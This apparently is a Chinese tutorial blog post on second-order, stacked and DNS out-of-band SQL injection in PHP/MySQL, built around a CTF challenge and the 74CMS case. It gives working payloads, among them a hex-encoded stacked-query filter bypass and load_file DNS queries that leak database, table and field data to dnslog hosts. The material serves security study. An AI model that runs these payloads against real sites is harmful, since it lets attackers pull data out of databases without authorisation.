【045-WEB攻防篇】PHP应用&SQL二次注入&堆叠执行&DNS带外&功能点&黑白盒条件
前言
在Web攻防的SQL注入体系中,除了常规联合查询、布尔/延时/报错盲注外,二次注入、堆叠注入、DNS带外注入是PHP+MySQL环境下高频且实用的进阶注入手法。本文结合原理、利用条件、实战案例,详解这三类注入的核心知识点与操作思路,新手重点理解原理,实战可借助74CMS、CTF靶场、DNSLOG平台复现。
知识点
1、PHP-MySQL-SQL注入-二次注入原理与利用条件
2、PHP-MySQL-SQL注入-堆叠注入原理与触发条件
3、PHP-MySQL-SQL注入-DNS带外注入原理、场景与Payload
章节点
Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中…
演示案例
PHP-MySQL-SQL注入-二次注入(74CMS案例)
PHP-MySQL-SQL注入-堆叠注入(CTF强网杯案例)
PHP-MySQL-SQL注入-DNS带外注入(DNSLOG平台实操)
一、PHP-MySQL-SQL注入-二次注入
1. 原理
二次注入核心是**“分两步触发”**,本质是数据入库时转义、出库时无校验:
- 插入恶意数据:第一次输入含特殊字符(如
')的恶意数据,代码转义后存入数据库,数据库中还原为原始恶意数据; - 引用恶意数据:后续业务逻辑直接从数据库取出该数据,未做二次过滤,带入SQL语句执行,触发注入。
2. 注入条件
- 数据插入(insert)时有转义函数/配置,特殊字符仅临时转义;
- 后续存在查询(select)、更新(update)等操作,直接引用已入库的恶意数据;
- 黑盒:功能存在“添加→后续操作”的链路;白盒:insert后紧跟select/update代码块。
3. 实战案例(74CMS)
场景:用户注册→个人中心修改简历,简历内容入库后,修改功能直接引用简历数据,触发二次注入。
二、PHP-MySQL-SQL注入-堆叠注入
1. 原理
堆叠注入通过SQL结束符;拼接多条SQL语句,一次性执行多个命令,核心依赖数据库中间层支持多语句执行。
2. 触发条件(苛刻)
- 目标存在基础SQL注入漏洞;
- 未对
;、空格等关键符号过滤; - 中间层使用
mysqli_multi_query()(支持多语句),而非mysqli_query()(仅单语句); - 数据库支持:MySQL、MSSQL、Postgresql等。
3. 实战案例(2019强网杯-随便注)
核心Payload(逐步查询):
';show databases; -- 查所有数据库
';show tables; -- 查当前库所有表
';show columns from `1919810931114514`; -- 查目标表字段
';select flag from `1919810931114514`; -- 直接查flag
-- 过滤绕过(十六进制编码)
';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
三、PHP-MySQL-SQL注入-DNS带外注入
1. 原理
无回显场景下,利用MySQLload_file()函数发起DNS请求,将查询数据拼接为自定义域名,通过DNSLOG平台接收DNS请求,间接获取数据。
2. 注入条件
- 数据库为ROOT高权限;
- 支持
load_file()函数; - 注入点无回显(常规盲注效率低)。
3. 常用平台
- http://ceye.io
- http://www.dnslog.cn
4. 适用场景
解决无回显SQL注入、命令执行、SSRF等无法直接回显数据的场景。
5. 常用Payload
-- 查询当前数据库
id=1 and load_file(concat("\\\\",database(),".xxx.dnslog.cn\\aaa"))
-- 查询所有数据库(limit控制单字段回显)
id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".xxx.dnslog.cn\\xxx.txt"))
-- 查询当前库第一个表名
id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='库名' limit 0,1),".xxx.dnslog.cn\\xxx.txt"))
-- 查询指定表字段值
id=1 and load_file(concat("\\\\",(select 字段名 from 库名.表名 limit 0,1),".xxx.dnslog.cn\\xxx.txt"))
四、常见问题
Q1:二次注入和普通注入的核心区别?
普通注入直接将恶意参数带入SQL执行;二次注入需先入库、再出库,恶意数据经数据库中转,规避前端单次过滤,隐蔽性更强。
Q2:堆叠注入为什么难以触发?
核心限制是PHP默认用mysqli_query()(仅单语句),且多数站点过滤;,仅CTF靶场、部分老旧CMS易出现该漏洞。
Q3:DNS带外注入相比延时盲注的优势?
延时盲注需逐字符猜解,效率极低;DNS带外注入一次性回显完整数据,无猜解过程,是无回显场景的最优解。
要不要我帮你补充各注入手法的防御方案,完善博客的收尾部分?
更多推荐


所有评论(0)